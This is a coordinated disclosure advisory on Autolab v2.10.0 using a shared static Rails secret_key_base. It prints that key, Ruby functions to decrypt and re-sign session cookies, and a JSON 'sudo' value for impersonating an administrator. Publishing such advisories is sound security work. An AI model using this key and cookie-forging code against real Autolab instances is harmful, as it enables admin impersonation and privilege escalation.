Coordinated Disclosure Timeline

Summary

Autolab did not enforce a unique, secure secret_key_base for the default docker-based production setup. If no secret_key_base was set, Autolab fell back to a static secret_key_base that was the same for all instances. This could have enabled attackers to impersonate admin users via session forgery.

Product

Autolab

Tested Version

v2.10.0

Details

Autolab does not require or generate a secure secret_key_base for production environments. This secret_key_base is used to sign and encrypt Rails session cookies. If an attacker can guess the secret_key_base, they can forge cookies and possibly other sensitive data.

Currently, it is recommended to set up Autolab instances with docker compose:

The Autolab Docker Compose installation is a fast and easy production-ready installation and deployment method. [..] This is now the preferred way of installing Autolab.

The Docker Compose instructions do not have a requirement to set the secret_key_base, nor does the Docker .env.template have an entry for the SECRET_KEY_BASE environment variable. If such a setup is run the secret_key_base secret set in the secret_token.rb config initializer is used. It is the same for all Autolab production instances that don’t have a SECRET_KEY_BASE set separately.

Autolab3::Application.config.secret_key_base = 'xxxf3744b24bb9b3f293159ae01a74a3710ba0af8a435386701bd90c198bd424e9a989c0850cfcc9349192a5a1c64c06cda70ff27b17081690aa8d4a7985e10aedb'

Proof of Concept: User/Admin-impersonation due to “act as user”-feature (for users with passwords in the database)

Since Autolab uses Devise for user authentication, user impersonation for locally-stored users is not straightforward. The JSON-serialized, signed and encrypted cookie contains parts of the bcrypt hash of a user, which cannot be found out without access to Autolabs database. The plain text contents of a locally stored Autolab user might look like this:

{"session_id":"46d48e99bbc4a60d0b2dcbef62a63f25","warden.user.user.key":[[1],"$2a$10$B30sKDUmCH5iX885sK4lBO"],"_csrf_token":"stSAcmZ6kkf6W9tDgvqXlFrSQFQb52WtrUNov20eAgU="}

That being said: if the attacker has a valid account with an Autolab instance, they are able to modify the values of their own cookie. The attacker might look around for interesting key/value combinations that allow them to elevate their rights or impersonate other users. In Autolab we have following candidates for this:

Information about federated authentication providers (when in use)

The “act as user” aka sudo feature:

We can use the “act as user”/sudo feature to impersonate an administrator. For this we have to decrypt an existing session cookie from an unprivileged user and add a JSON value such as:

"sudo":{"user_id":1,"course_id":2,"actual_name":"Im the captain now"}

(Where the user_id is the user we want to impersonate and the course_id is the course we want to get access to.)

Following functions can be used to decrypt an existing session cookie and encrypt and sign it again:

require 'active_support'
require 'cgi'
require 'json'

# The cookie param should contain an original cookie from Autolab (e.g. copied from a browser)
def decrypt_and_verify_session_cookie(cookie, secret_key_base)
  key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
  secret = key_generator.generate_key('encrypted cookie')[0, ActiveSupport::MessageEncryptor.key_len]
  signing_secret = key_generator.generate_key('signed encrypted cookie')
  encryptor = ActiveSupport::MessageEncryptor.new(secret, signing_secret, serializer: JSON)
  encryptor.decrypt_and_verify(CGI::unescape(cookie)).to_json
end

# The cookie_json param should be filled with a JSON string (e.g. '{"session_id":"...","warden.user.user.key": ...}')
def encrypt_and_sign_session_cookie(cookie_json, secret_key_base)
  key_generator = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)
  secret = key_generator.generate_key('encrypted cookie')[0, ActiveSupport::MessageEncryptor.key_len]
  signing_secret = key_generator.generate_key('signed encrypted cookie')
  encryptor = ActiveSupport::MessageEncryptor.new(secret, signing_secret, serializer: JSON)
  CGI.escape(encryptor.encrypt_and_sign(JSON.parse(cookie_json)))
end

Note about User/Admin-impersonation of federated users

It might also be possible to impersonate users from federated authentication providers by manipulating the respective session attributes:

If a user could successfully exploit this vulnerability by impersonating a user coming from a federated authentication provider, they might not need a valid session cookie from an authenticated user.

Impact

This issue may lead to Elevation of privilege through user/admin impersonation. It may also lead to Remote Code Execution (RCE) by unprivileged users on systems that are not patched against CVE-2022-41955.

Resources

CVE

Credit

This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-030 in any communication regarding this issue.